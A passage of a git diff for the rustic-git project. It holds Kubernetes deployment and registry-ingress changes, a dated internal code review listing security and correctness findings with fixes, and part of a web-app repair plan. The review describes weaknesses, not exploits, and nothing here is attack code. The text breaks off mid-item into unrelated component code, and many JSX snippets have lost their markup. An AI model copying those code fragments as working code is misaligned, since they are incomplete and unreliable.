sweep below still finds the work. apiVersion: apps/v1 kind: Deployment metadata: @@ -295,12 +797,29 @@ spec: template: metadata: labels: { app: rustic-git-worker } + # Plain scrape annotations, no Prometheus Operator assumed (a ServiceMonitor would need the + # CRD installed first; kube-prometheus-stack and the Azure managed agent both honour these). + annotations: + prometheus.io/scrape: "true" + prometheus.io/port: "9464" + prometheus.io/path: /metrics spec: + securityContext: + runAsNonRoot: true + runAsUser: 1001 + runAsGroup: 1001 + fsGroup: 1001 containers: - name: worker - image: ghcr.io/kloudlite/rustic-git:ee77c6cab2d0840c17fec9b3ac5608fa66c49fd6 + image: ghcr.io/kloudlite/rustic-git:a3d98c1c2a17a1bbf461b309e6c7a7c6c34dce3a command: ["rustic-git-worker"] env: + - name: RUSTIC_GIT_METRICS_ADDR + value: 0.0.0.0:9464 + # Tokio sizes its pool from the NODE's cores — 64 threads inside a + # 100m-CPU pod. Four matches what the request can actually run. + - name: TOKIO_WORKER_THREADS + value: "4" - name: RUSTIC_GIT_S3_URL value: az://rustic-git - name: AZURE_STORAGE_ACCOUNT_NAME @@ -312,28 +831,56 @@ spec: value: http://rustic-git:8081 - name: RUSTIC_GIT_PEER_SECRET valueFrom: { secretKeyRef: { name: rustic-git-peer, key: secret } } - # NOT optional here, unlike the api tier: the worker's entire job list - # lives in this database. Without it there is nothing to do, and a pod - # that silently idles forever is worse than one that will not start. - - name: RUSTIC_GIT_MONGO_URI - valueFrom: { secretKeyRef: { name: rustic-git-mongo, key: uri } } - - name: RUSTIC_GIT_MONGO_DB - value: kloudlite - name: RUSTIC_GIT_CACHE_DIR value: /var/cache/rustic-git + # Optional here too (see api/git tiers): without it a lane still runs, just on + # `SWEEP_EVERY` alone instead of the stream nudge — see the startup warning in + # `worker.rs` for why that is now a performance regression worth noticing, not a + # silent default. + - name: RUSTIC_GIT_REDIS_URL + valueFrom: { secretKeyRef: { name: rustic-git-redis, key: url, optional: true } } # Jobs are mostly waiting — on the fleet, on the database — so a lane # is cheap. Raise it before adding replicas. + # + # CEILING 64: worker.rs clamps this to 1..64, but the liveness probe below + # compares against the raw value it reads here. Set it above 64 and the + # worker runs 64 lanes, writes 64 heartbeat files, and the probe demands + # more than that forever — a restart loop. Keep it within 1..64. - name: RUSTIC_GIT_WORKER_CONCURRENCY value: "4" resources: requests: { cpu: 250m, memory: 256Mi } limits: { memory: 1Gi } + # The worker has no listener, so liveness counts heartbeat files instead: each lane + # writes worker-alive.{i} once per iteration (see `lane` in worker.rs), and this fails + # unless ALL RUSTIC_GIT_WORKER_CONCURRENCY of them are younger than 30 minutes — so one + # lane wedging restarts the pod rather than hiding behind its siblings. 30 minutes: a + # lane draining sixteen nudges at the client's 60s timeout is legitimately silent for + # sixteen; anything longer is a loop that is stuck, not slow. + # + # $RUSTIC_GIT_WORKER_CONCURRENCY, not $(...): kubelet expands $(VAR) in a container's + # command/args but NOT in a probe's exec command, so the value has to come from the + # shell reading the container's own environment — which is the same env block below, + # and stays correct if that number is changed in one place. + livenessProbe: + exec: + command: ["sh", "-c", "test \"$(find /var/cache/rustic-git -maxdepth 1 -name 'worker-alive.*' -mmin -30 2>/dev/null | wc -l)\" -ge \"$RUSTIC_GIT_WORKER_CONCURRENCY\""] + initialDelaySeconds: 60 + periodSeconds: 60 + failureThreshold: 3 + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } volumeMounts: - { name: cache, mountPath: /var/cache/rustic-git } volumes: # Scratch only: packs are read from and written to object storage, and - # anything here can be rebuilt by fetching again. - - { name: cache, emptyDir: {} } + # anything here can be rebuilt by fetching again. Bounded so a leak here + # evicts this pod rather than filling the node's disk. + - name: cache + emptyDir: + sizeLimit: 5Gi --- # Redis provisioning note (no manifest here — this cluster uses a managed instance): it MUST run # `maxmemory-policy volatile-lru`, and this is load-bearing, not tuning. Data keys all carry a @@ -370,3 +917,72 @@ spec: selector: { app: rustic-git-api } ports: - { name: http, port: 80, targetPort: http } +--- +# The registry gets a hostname of its own rather than a path on the app's. +# +# A registry client asks for `/v2/` and follows `Location` headers the server writes +# — all under `/v2/`, which is why that one prefix is the whole rule below. Sharing a +# host with an app would mean carving those paths out of the app's namespace and +# keeping them carved. A separate name +# also means the app's ingress annotations — body limits, buffering, timeouts — stay +# tuned for an app, while these stay tuned for pushing layers. +# +# TLS is terminated HERE, by a cert-manager certificate, and cr.khost.dev is a DNS-only +# record — deliberately NOT behind Cloudflare's proxy. It was proxied at first, and the +# edge refused what real clients send: buildx/containerd stream blobs over HTTP/2 with +# no declared length, which the free plan answers with 413 before this ingress ever +# sees the request, and anything over 100MB dies the same way. docker's own pushes +# (HTTP/1.1, Content-Length) worked, which is what made the gap easy to miss. +apiVersion: networking.k8s.io/v1 +kind: Ingress +metadata: + name: rustic-git-registry + namespace: rustic-git + annotations: + cert-manager.io/cluster-issuer: letsencrypt + # NOT "true": despite the paragraph above, `dig cr.khost.dev` resolves to Cloudflare today, and + # the proxy fetches the origin over plain HTTP — so a redirect here loops (308 → itself; it + # took the registry down for ~2 minutes on 2026-08-23). Credentials are protected by the + # edge's TLS, not ours. If the record ever goes DNS-only again, flip this to "true". + nginx.ingress.kubernetes.io/ssl-redirect: "false" + # A layer is one request. The default 1m ceiling turns any real image into a 413. + nginx.ingress.kubernetes.io/proxy-body-size: "0" + # A large layer takes longer than 60s to receive. + nginx.ingress.kubernetes.io/proxy-read-timeout: "600" + nginx.ingress.kubernetes.io/proxy-send-timeout: "600" + # Buffering a layer in nginx before passing it on doubles the disk it touches and + # delays the first byte the registry sees. + nginx.ingress.kubernetes.io/proxy-request-buffering: "off" + # Per client IP (real IP via deploy/ingress-nginx-config.yaml). A docker push is a handful of + # large requests, not many small ones, so 50 r/s with a 5x burst never touches a real client; + # a scraper hammering /v2 does. The region agents are exempt: they are the platform. + nginx.ingress.kubernetes.io/limit-rps: "50" + nginx.ingress.kubernetes.io/limit-burst-multiplier: "5" + nginx.ingress.kubernetes.io/limit-whitelist: "40.80.82.158/32,20.219.22.61/32,4.224.42.0/32" +spec: + ingressClassName: nginx + tls: + - hosts: [cr.khost.dev] + secretName: rustic-git-registry-tls + rules: + - host: cr.khost.dev + http: + paths: + # Only registries: `/v2/` (containers) and `/vol-agent/` (the storage registry's + # agent surface — per-region-token gated in the handlers, reached by rustic-git-agent + # from VMs outside the cluster). The git smart-HTTP surface and /healthz have no + # business on this hostname; they stay on the app's ingress. + - path: /v2 + pathType: Prefix + backend: + service: + name: rustic-git-http + port: + number: 80 + - path: /vol-agent + pathType: Prefix + backend: + service: + name: rustic-git-http + port: + number: 80 diff --git a/docs/code-review-2026-08-23.md b/docs/code-review-2026-08-23.md new file mode 100644 index 00000000..fb6992d9 --- /dev/null +++ b/docs/code-review-2026-08-23.md @@ -0,0 +1,209 @@ +# rustic-git full code review — 2026-08-23 + +Scope: all of `src/`, `tests/`, `web/apps/web`, `deploy/`, CI, Dockerfiles, docs. Five independent +passes (HTTP/auth/api, registry/GC/worker, git core/storage, web app, ops/CI/tests). Every finding +below was verified by reading the code (and vendored crate source where a library claim mattered). + +Baseline: `cargo test` green (6 documented benchmark ignores). `bun run lint` and `tsc` clean. +Clippy: 15 pre-existing `--all-targets` warnings (list at the end). + +--- + +## 0. Top 10 — fix these first + +| # | Sev | Where | What | +|---|-----|-------|------| +| 1 | **Critical** | `src/registry/uploads.rs:395` ← `src/bin/worker.rs:283` | `sweep_stale_uploads` opens the image SlateDB from the **worker** to delete the `upload/{uuid}` row. Violates the single-opener invariant → fences the owning node (`detected newer DB client`). Fires on every GC pass for any owner with an upload >24h old. | +| 2 | **Critical** | `web/.../lib/passkey.ts:85-93` | Assertion is `"${email}.${exp}.${mac}"` and verifier `split(".")` requires exactly 3 parts. Every email has a dot → **passkey sign-in can never succeed**. | +| 3 | High | `src/api/credentials.rs:246` + `src/directory.rs:577` | SSH fingerprints stored mixed-case, looked up lowercased → **SSH commit signatures always `unknown_key`**. No test covers `verify_signature`. | +| 4 | High | `src/protocol/upload.rs:812-818` | `ObjectExpansion::TreeContents` + hiding only commits → every incremental `git fetch` re-sends the whole tree snapshot. Bandwidth O(repo), not O(delta). | +| 5 | High | `src/protocol/receive.rs:350` + `src/ssh.rs` | **No pack-size limit over SSH** (HTTP has `max_body`). Authenticated pusher can fill node disk. | +| 6 | High | `src/registry/manifests.rs:49-164` | Manifest PUT never verifies referenced blobs exist (no `MANIFEST_BLOB_UNKNOWN`). Combined with the 1h `blob_grace` sweep, slow pushes of big images lose early layers and still return 201. | +| 7 | High | `src/registry/blobs.rs:79` | `refresh_blob_mtime` = `copy(path, path)`; real S3 rejects same-key copy without metadata directive, error swallowed → the "mount race" is only closed on `mem://`/`file://`. | +| 8 | High | `src/registry/{blobs,uploads}.rs` | Blob bodies are buffered as `Bytes` up to `max_layer` (10 GiB); PATCH re-reads + rewrites the whole staging object. Memory O(layer) per request, OOM with a few concurrent multi-GB pushes. | +| 9 | High | `deploy/rustic-git.yaml` + root `Dockerfile` | Rust workloads run as **root with all caps** (no `securityContext`, no `USER`); web pod already has the hardened pattern. | +| 10 | High | `.github/workflows/image.yml` | **`cargo test`/clippy/fmt never run in CI.** Images ship untested. | + +--- + +## 1. Security + +### High +- **Root containers** — `deploy/rustic-git.yaml` (leader, srv, api, worker) and `Dockerfile:28-43`. Copy `rustic-git-web.yaml:105-108` securityContext + add `USER`; chown cache/data dirs. +- **SSH push unbounded** — see Top 10 #5. Wrap input in a counting reader capped at `max_body`. +- **Registry ingress** `deploy/rustic-git.yaml:744-750` routes `/` (whole git surface + `/healthz`) on `cr.khost.dev`, with `ssl-redirect: "false"` on a host *not* behind Cloudflare → plain-HTTP Basic creds accepted. Path `/v2` + ssl-redirect true on this ingress. +- **`rustic-git-lb`** (`:460-476`) exposes HTTP :80 directly, bypassing ingress/TLS. Drop the port or document why. + +### Medium +- **Leaked session JWT renews forever** — `src/api/teams.rs:84-118`. `upsert_user` accepts a Bearer and mints a fresh 12h token if `body.email == sub`. Reject Bearer on this route (peer-secret only). +- **"PEER ONLY" passkey routes reachable with any session** — `src/api/passkeys.rs:125-174`. Any user can read another's passkey pubkey/email and set `counter` arbitrarily (breaks victim's next login via clone detection). Add a `peer_only()` caller variant. +- **Self-hosted runner** on `workflow_dispatch` workflow with persistent docker cache and GHCR write token (`image.yml:12`). Acceptable for solo repo; document; prune cache on schedule. +- **Actions pinned by tag not SHA** (`image.yml`, `web.yml`). +- `RUSTIC_GIT_JWT_SECRET` is `optional: true` in yaml (`:86,303`; web `:113`). Make required. + +### Low +- `src/jwt.rs:70-110` — session claims have no `typ`/`aud`; rejection of registry tokens relies on serde requiring `name`. Add `typ: "session"`. +- `src/api/mod.rs:196-211` — failed JWT falls through to `owner_for_token`, uncached miss = S3 GET per bogus token. Negative LRU or rate limit. +- `src/gpg.rs:141-183` — signature creation time not checked against key creation/expiry; `signature_expiration_time` ignored. +- `src/registry/auth.rs:45-49` — Basic username ignored; scheme match is case-sensitive (RFC 7235 says insensitive). +- `web/.../(auth)/actions.ts:11-13` — `provider` from form passed unvalidated to `signIn()` (nil impact today). +- No `cargo audit`/`cargo deny` anywhere; `rsa 0.10.0-rc.18` (via `russh`/`ssh-key` rc) on the SSH auth path. + +--- + +## 2. Bugs (correctness) + +### Critical / High +- Worker opens image DB (Top 10 #1). Fix: worker deletes staging object only; owner drops the row lazily when `received()` finds no staging object. +- Passkey split (Top 10 #2). `lastIndexOf` twice or base64url the email. +- SSH fingerprint case (Top 10 #3). Lowercase at registration + backfill. +- Fetch sends full snapshot (Top 10 #4). `TreeAdditionsComparedToAncestor`. +- Manifest PUT skips blob existence (Top 10 #6). `head()` each digest from the same walk `gc::collect` uses; also the natural place for the mtime touch. +- `refresh_blob_mtime` no-op on S3 (Top 10 #7). +- **README fence with unknown language 500s the repo page** — `web/.../repo/code.tsx:34` casts `as BundledLanguage`; shiki throws on `console`, `jsonc`, `mermaid`. Fall back to `"text"`. +- **App shell always shows personal namespace on team pages** — `app-shell.tsx:50-80`. Derive owner from pathname in `place()`. +- **Team org pages 404 for every team** — `(org)/{settings,ci,environments,workspaces}/page.tsx` check `owner !== session.user.owner`. Drop it; let api 404. +- **"Rebase and merge" silently does fast-forward** — `pull-actions.tsx:85` vs `pulls/actions.ts:57`. Remove the option. + +### Medium +- `src/http/browse_api/pulls.rs:96,118` — `api_pulls`/`api_pull` pass raw `name` (with `.git`) to `ready()` → creates ghost DB `repo/alice/web.git` under an unrouted key. Use the parsed `Repo`. +- `src/ssh.rs:221` + `src/proxy.rs:297` — no `on_fenced` retry on SSH paths; a stray fence makes SSH fail until an HTTP request evicts the handle. +- `src/pool.rs:257-278` — `evict` during in-flight open leaks an `Arc` in no map, never closed, holding the writer epoch. Re-check map membership after `get_or_try_init`. +- `src/pool.rs:196-204` — any `close_reason` (incl. `Clean`) reported as fenced → needless re-route/evict. Match `CloseReason::Fenced` only. +- `src/store.rs:226-268` — `open_repo` never removes stale local `.pack/.idx`; after move→repack→move-back, pruned objects stay servable and disk never reclaimed. +- `src/browse.rs:388-391` — GPG payload rebuilt via canonical re-serialisation, not cut from raw bytes → valid commits with unusual encodings read `Invalid`. +- `src/bin/worker.rs:102-107` — "a lane that dies takes the worker with it" is false: handles awaited sequentially; panicked lane silently reduces capacity. `select_all` + exit. +- `src/registry/manifests.rs:99` + `gc.rs:60-65` — non-JSON manifest accepted; then sweep aborts forever for that owner. 400 `MANIFEST_INVALID`. +- `src/registry/uploads.rs:374-401` — sessions opened but never PATCHed leak rows forever. +- `src/registry/uploads.rs:134,221,260`, `manifests.rs:281-293` — PATCH/GET/DELETE upload and DELETE manifest call `image_db` on nonexistent images → phantom image with private marker appears in listing. Guard with `image_exists`. +- `src/registry/gc.rs:151-167` — case (a) uses `index::write` (delete-then-write) racing `set_image_visibility`; use `put_in_place` like case (c). +- `src/directory.rs:379-406` — `claim_username` check-then-reserve race leaks a handle. +- `src/objects.rs:120-128` — two merges with identical staged content race on the same `incoming-{hash}.pack` path. +- Web: `pull-commits.tsx:77` "browse at this commit" → `/tree` 404 and `?ref=` never resolves; `pull-files.tsx:48` anchors to ids never rendered; `pull-data.ts:19`, `file-view.tsx:45`, `diff.tsx:35` turn 404 into 500; file paths interpolated into hrefs unencoded (7 sites); `login-form.tsx` dead "Continue to org" button and `/reset` 404 link; password step shown even when disabled. +- Web: ⌘K search (`global-search.tsx`) and Issues/Compare tabs (`issues.tsx`, `compare.tsx`) render **hard-coded mock data** linking to a non-existent `rustic` repo. + +### Low +- `tests/registry_e2e.sh:33,82` — second `trap` replaces first; `$blob` leaks. +- `src/store.rs:284` — unparseable pack index value → size 0 → re-download every open. +- `src/browse.rs:197` — one malformed commit header 500s the whole log page. +- `src/pktline.rs:112` — `write_err` skips the 0xffff length check. +- `src/protocol/receive.rs:185` — `refs/heads` (no component) passes `valid_ref_name`. +- `src/refs.rs:391-405` — `*` allowed anywhere in protection pattern but only trailing `*` matches. +- `web/.../image-list.tsx:67-83` — ` + + + + + Nothing matches that. + + {mine.length > 0 && ( + + {mine.map((r) => ( + go(`/${owner}/${r.name}`)}> + {r.name} + + {r.public ? : } + {r.public ? "public" : "private"} + + + ))} + + )} + + + + {owners.length > 1 && ( + + {owners.filter((o) => o.slug !== owner).map((o) => ( + go(`/${o.slug}`)}> + {o.slug} + + ))} + + )} + + + {[...sections(owner), settingsSection(owner)].map(({ href, label, icon: Icon }) => ( + go(href)}> + {label} + + ))} + + + + + ); +} +``` + +- [ ] **Step 4: Verify** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. (`lib/mock.ts` still has importers in `team-*.tsx`; they go in Task 4.) +Manual: on `/{team}/registries` the crumb, switcher and tabs should all name the team; ⌘K lists that team's real repos. + +- [ ] **Step 5: Commit** + +```bash +git add web/apps/web/src/components/app/shell-nav.tsx web/apps/web/src/components/app/app-shell.tsx web/apps/web/src/components/app/global-search.tsx +git commit -m "Read the owner from the URL in the shell and search real repos" +``` + +--- + +### Task 4: Team pages work for every team and say what does not exist yet + +**Files:** +- Create: `web/apps/web/src/components/app/not-yet.tsx` +- Modify: `web/apps/web/src/app/(shell)/[owner]/(org)/settings/page.tsx` +- Modify: `web/apps/web/src/app/(shell)/[owner]/(org)/ci/page.tsx` +- Modify: `web/apps/web/src/app/(shell)/[owner]/(org)/environments/page.tsx` +- Modify: `web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/page.tsx` +- Modify: `web/apps/web/src/components/app/user-settings.tsx:1-61` (Profile section loses its form) +- Modify: `web/apps/web/src/app/(shell)/settings/actions.ts:11-14` (delete `updateProfile`) +- Delete: `web/apps/web/src/app/(shell)/[owner]/(org)/settings/actions.ts`, `src/components/app/team-settings.tsx`, `team-triggers.tsx`, `team-environments.tsx`, `team-workspaces.tsx`, `declared-list.tsx`, `src/lib/mock.ts` + +**Context:** Four org pages do `if (owner !== session.user.owner) notFound()`, so every team page 404s. The `(org)/layout.tsx` already redirects the signed-out, and `(org)/page.tsx` documents the rule: the api answers 404 for a namespace the caller may not act in, so asking it IS the check. These four pages ask nothing — they render mock rows (`MEMBERS`, `TRIGGERS`, …) and no-op actions (`updateTeam`, `inviteMember`, `updateProfile`) with Save/Invite buttons, `Open`, and filter inputs with no handler. We are in implementation phase: drop the check, replace each with an explicit empty state, and delete the mocks. `lib/mock.ts`'s last importer (`global-search.tsx`) went in Task 3. + +**Interfaces:** +- Produces: `NotYet({ title, children })` in `@/components/app/not-yet` — a titled empty state, reused by Task 5 for Issues. + +- [ ] **Step 1: Create `components/app/not-yet.tsx`** + +```tsx +/** A page for something that does not exist yet, saying so. Honest and blank beats + * a mock-up that invites clicks which go nowhere. */ +export function NotYet({ title, children }: { title: string; children: React.ReactNode }) { + return ( +
+

{title}

+

+ {children} +

+
+ ); +} +``` + +- [ ] **Step 2: Replace the four org pages** + +`(org)/settings/page.tsx`: +```tsx +import type { Metadata } from "next"; +import { NotYet } from "@/components/app/not-yet"; + +export const metadata: Metadata = { title: "Team settings" }; + +/** Membership is not checked here — see `(org)/page.tsx`: the api decides who may + * act in a namespace, and there is nothing on this page to ask it about yet. */ +export default async function SettingsPage({ params }: { params: Promise<{ owner: string }> }) { + const { owner } = await params; + return ( + + Renaming {owner}, inviting members and deleting the team are not available yet. + + ); +} +``` + +`(org)/ci/page.tsx`: +```tsx +import { NotYet } from "@/components/app/not-yet"; + +export default function Page() { + return CI triggers are not available yet.; +} +``` + +`(org)/environments/page.tsx`: +```tsx +import { NotYet } from "@/components/app/not-yet"; + +export default function Page() { + return Environments are not available yet.; +} +``` + +`(org)/workspaces/page.tsx`: +```tsx +import { NotYet } from "@/components/app/not-yet"; + +export default function Page() { + return Workspaces are not available yet.; +} +``` + +- [ ] **Step 3: Delete the mock components, their actions, and `lib/mock.ts`** + +```bash +cd web/apps/web +git rm "src/app/(shell)/[owner]/(org)/settings/actions.ts" \ + src/components/app/team-settings.tsx src/components/app/team-triggers.tsx \ + src/components/app/team-environments.tsx src/components/app/team-workspaces.tsx \ + src/components/app/declared-list.tsx src/lib/mock.ts +``` + +- [ ] **Step 4: Make the Profile section read-only** + +`web/apps/web/src/app/(shell)/settings/actions.ts`: delete `updateProfile` (lines 11–14). + +`web/apps/web/src/components/app/user-settings.tsx`: line 10 becomes `import { removeSshKey, revokeToken } from "@/app/(shell)/settings/actions";` and the Profile section (lines 43–61) becomes: + +```tsx +
+
+
+
Name
+
{session.user.name}
+
+
+
Email
+
{session.user.email}
+
+
+
Handle
+
+ @{session.user.owner} +
+
+
+
+``` + +Remove the now-unused imports `Input` (line 5) and `FieldLabel` (line 6) if nothing else in the file uses them (nothing does — check with `bun run lint`). + +- [ ] **Step 5: Verify** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. `grep -rn "lib/mock\"" web/apps/web/src` → no hits. + +- [ ] **Step 6: Commit** + +```bash +git add -A web/apps/web/src +git commit -m "Serve team pages for any owner and replace mock team data with empty states" +``` + +--- + +### Task 5: Delete the mock Compare route and Issues list + +**Files:** +- Delete: `web/apps/web/src/app/(shell)/[owner]/[repo]/compare/page.tsx`, `src/components/repo/compare.tsx`, `src/components/repo/issues.tsx`, `src/lib/mock-repo.ts` +- Modify: `web/apps/web/src/app/(shell)/[owner]/[repo]/issues/page.tsx` + +**Context:** `compare/` duplicates `pulls/new` with a form that has no action and mock commits; nothing links to it (`grep -rn "/compare" src` finds only the api call in `lib/api.ts`). `issues.tsx` renders `ISSUES` from `lib/mock-repo.ts` against a hard-coded `rustic` repo. The Issues tab stays in `REPO_TABS`; the page says what it is. + +- [ ] **Step 1: Delete** + +```bash +cd web/apps/web +git rm "src/app/(shell)/[owner]/[repo]/compare/page.tsx" src/components/repo/compare.tsx src/components/repo/issues.tsx src/lib/mock-repo.ts +``` + +- [ ] **Step 2: Replace the issues page** + +`web/apps/web/src/app/(shell)/[owner]/[repo]/issues/page.tsx`: +```tsx +import { NotYet } from "@/components/app/not-yet"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; + +export default async function Page({ params }: { params: Promise<{ owner: string; repo: string }> }) { + const { owner, repo } = await params; + await guardRepo(owner, repo); + return Issues are not available yet.; +} +``` + +- [ ] **Step 3: Verify** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. `grep -rn "mock-repo" web/apps/web/src` → no hits. + +- [ ] **Step 4: Commit** + +```bash +git add -A web/apps/web/src +git commit -m "Remove the mock compare route and issues list" +``` + +--- + +### Task 6: Stop offering "Rebase and merge" + +**Files:** +- Modify: `web/apps/web/src/components/repo/pull-actions.tsx:85-96` + +**Context:** `pulls/actions.ts:57-59` maps any strategy other than `squash`/`merge` to `fast-forward`, so choosing "Rebase and merge" silently fast-forwards. `api.MergeStrategy` has no rebase. Remove the entry. + +- [ ] **Step 1: Delete the rebase entry and its label branch** + +Remove lines 85–89 (the `{ value: "rebase", … }` object) and line 95 (`: strategy === "rebase" ? "Rebase and merge"`). The `label` expression becomes: + +```tsx + const label = + strategy === "squash" ? "Squash and merge" + : strategy === "merge" ? "Create a merge commit" + : "Merge pull request"; +``` + +- [ ] **Step 2: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. + +```bash +git add web/apps/web/src/components/repo/pull-actions.tsx +git commit -m "Drop the rebase merge option the server does not implement" +``` + +--- + +## MEDIUM + +### Task 7: Browse a repo at a commit (`?ref=`) + +**Files:** +- Modify: `web/apps/web/src/lib/browse.ts` (add `Head`, `resolveRef`) +- Modify: `web/apps/web/src/components/repo/code.tsx:87-88,127` +- Modify: `web/apps/web/src/components/repo/file-view.tsx:36-38,55` +- Modify: `web/apps/web/src/app/(shell)/[owner]/[repo]/edit/[...path]/page.tsx:20-22` +- Modify: `web/apps/web/src/components/repo/pull-commits.tsx:76-78` + +**Context:** `pull-commits.tsx:77` links to `${base}/tree?ref=` — `/tree` with no path is not a route (404), and `CodeView` only matches `?ref=` against branch/tag names, so an oid falls back to the default branch. Every browse call is keyed by oid already, so accepting a 40-hex `ref` is one resolution step. It is shared by the three places that resolve `?ref=` so a file link clicked while browsing at a commit keeps the commit. + +**Interfaces:** +- Produces in `@/lib/browse`: `type Head = { name: string; oid: string; kind: "branch" | "tag" | "commit" }`, `resolveRef(all: Ref[], refName?: string): Head | undefined`. + +- [ ] **Step 1: Add `resolveRef` to `lib/browse.ts`** + +After `shortOid` (around line 140): + +```ts +/** What `?ref=` resolved to. A `commit` is a bare oid: browsable like a branch, + * but nothing can be committed onto it and nothing names it. */ +export type Head = { name: string; oid: string; kind: "branch" | "tag" | "commit" }; + +/** The ref a page opens on: the named branch or tag if it exists, a commit if the + * name is an oid, else the default branch. An unknown NAME falls back rather than + * 404s — a branch can be deleted while someone still holds the link. */ +export function resolveRef(all: Ref[], refName?: string): Head | undefined { + if (refName) { + const named = all.find((r) => shortRef(r.name) === refName); + if (named) return named; + if (/^[0-9a-f]{40}$/.test(refName)) return { name: refName, oid: refName, kind: "commit" }; + } + return defaultBranch(all); +} +``` + +- [ ] **Step 2: Use it in `code.tsx`** + +Line 13's import list gains `resolveRef` and `shortOid` is already there. Replace line 88: +```ts + const head = resolveRef(all.value, refName); +``` +Replace line 127 (the RefPicker `current`): +```tsx + current={head.kind === "commit" ? shortOid(head.oid) : shortRef(head.name)} +``` + +- [ ] **Step 3: Use it in `file-view.tsx`** + +Line 9 import gains `resolveRef, shortOid`. Replace line 37: +```ts + const head = resolveRef(all.value, refName); +``` +Replace line 55: +```tsx + current={head.kind === "commit" ? shortOid(head.oid) : shortRef(head.name)} +``` +(Line 94's `head.kind === "branch"` already hides Edit for a commit.) + +- [ ] **Step 4: Use it in the edit page** + +`edit/[...path]/page.tsx` line 4 import gains `resolveRef`; replace line 21: +```ts + const head = resolveRef(all.value, ref); +``` +Line 27's `if (head.kind !== "branch") redirect(...)` now also covers a commit. + +- [ ] **Step 5: Fix the link in `pull-commits.tsx`** + +Line 78: +```tsx + href={`${base}?ref=${c.oid}`} +``` +(An oid is hex; no encoding needed.) + +- [ ] **Step 6: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. Manual: on a PR's Commits tab, the `<>` button opens the tree at that commit and the ref picker shows the short oid. + +```bash +git add web/apps/web/src/lib/browse.ts web/apps/web/src/components/repo/code.tsx web/apps/web/src/components/repo/file-view.tsx "web/apps/web/src/app/(shell)/[owner]/[repo]/edit/[...path]/page.tsx" web/apps/web/src/components/repo/pull-commits.tsx +git commit -m "Browse a repo at a commit when ?ref= is an oid" +``` + +--- + +### Task 8: Make the changed-files tree actually jump to the file + +**Files:** +- Modify: `web/apps/web/src/components/repo/diff-files.tsx:21-27` +- Modify: `web/apps/web/src/components/repo/pull-files.tsx:47-48` + +**Context:** `pull-files.tsx:48` links to `#${n.path}` but no element carries that id. Give each `
` the path as its id, with `scroll-mt` so the sticky header does not cover it. The href is percent-encoded (a path can contain spaces); the browser decodes the fragment before matching ids. + +- [ ] **Step 1: Add the id in `diff-files.tsx`** + +Lines 21–27 become: +```tsx +
+``` + +- [ ] **Step 2: Encode the anchor in `pull-files.tsx`** + +Line 48: +```tsx + href={`#${encodeURIComponent(n.path)}`} +``` + +- [ ] **Step 3: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. + +```bash +git add web/apps/web/src/components/repo/diff-files.tsx web/apps/web/src/components/repo/pull-files.tsx +git commit -m "Anchor the changed-files tree to the diffs it lists" +``` + +--- + +### Task 9: An error page and a loading state inside the shell + +**Files:** +- Create: `web/apps/web/src/app/(shell)/error.tsx` +- Create: `web/apps/web/src/app/(shell)/[owner]/[repo]/loading.tsx` + +**Context:** No `error.tsx` anywhere, so an api outage (`throw new Error(r.message)` in many pages) shows Next's raw error page. `error.tsx` must be a client component and receives `{ error, reset }`. Placed under `(shell)` it renders INSIDE the shell layout, so the chrome survives. `loading.tsx` under the repo route gives the browse pages (several sequential api calls) a skeleton instead of a blank frame. Copy `not-found.tsx`'s typography. + +- [ ] **Step 1: Create `(shell)/error.tsx`** + +```tsx +"use client"; + +import { Button } from "@/components/ui/button"; + +/** What a page shows when it threw. Every browse page throws the api's message + * when a call fails for a reason that is not "sign in" or "not found", so this is + * mostly "the service is unavailable" — which is why there is a retry and no + * stack trace. Client component by Next's rule, not by choice. */ +export default function ShellError({ error, reset }: { error: Error & { digest?: string }; reset: () => void }) { + return ( +
+
+

+ Something went wrong +

+

This page could not be loaded.

+

+ {error.message || "The service is unavailable. Try again."} +

+ +
+
+ ); +} +``` + +- [ ] **Step 2: Create `[owner]/[repo]/loading.tsx`** + +```tsx +/** Shown while a repo page's api calls are in flight. Blocks the shape of the + * code view — toolbar, crumb, listing — so the page does not jump when it lands. */ +export default function Loading() { + return ( +
+
+
+
+
+
+
+
+ {Array.from({ length: 8 }, (_, i) => ( +
+
+
+
+
+ ))} +
+
+ ); +} +``` + +- [ ] **Step 3: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. Manual: stop the api (or point `RUSTIC_GIT_API_URL` at a dead port), open a repo — the error page renders inside the shell with a working "Try again". + +```bash +git add "web/apps/web/src/app/(shell)/error.tsx" "web/apps/web/src/app/(shell)/[owner]/[repo]/loading.tsx" +git commit -m "Add an error boundary and a repo loading state inside the shell" +``` + +--- + +### Task 10: A missing pull, blob or commit is a 404, not a 500 + +**Files:** +- Modify: `web/apps/web/src/app/(shell)/[owner]/[repo]/pulls/[number]/pull-data.ts:1,19-20` +- Modify: `web/apps/web/src/components/repo/file-view.tsx:1,45` +- Modify: `web/apps/web/src/components/repo/diff.tsx:1,35` + +**Context:** Each does `if (!r.ok) throw new Error(r.message)`, turning the api's `notFound` into a 500. `notFound()` from `next/navigation` renders `not-found.tsx`. + +- [ ] **Step 1: `pull-data.ts`** + +Add `import { notFound } from "next/navigation";` at the top. Replace line 20: +```ts + if (!pull.ok) { + if (pull.kind === "notFound") notFound(); + throw new Error(pull.message); + } +``` + +- [ ] **Step 2: `file-view.tsx`** + +Add `import { notFound } from "next/navigation";`. Replace line 45: +```ts + if (!b.ok) { + // A path that is not in this tree is a 404, same as a repo that is not here. + if (b.kind === "notFound") notFound(); + throw new Error(b.message); + } +``` + +- [ ] **Step 3: `diff.tsx`** + +Add `import { notFound } from "next/navigation";`. Replace line 35: +```ts + if (!r.ok) { + if (r.kind === "notFound") notFound(); + throw new Error(r.message); + } +``` + +- [ ] **Step 4: Verify and commit** + +From `web/`: `bun run lint` and `bunx tsc --noEmit -p apps/web/tsconfig.json` → clean. Manual: 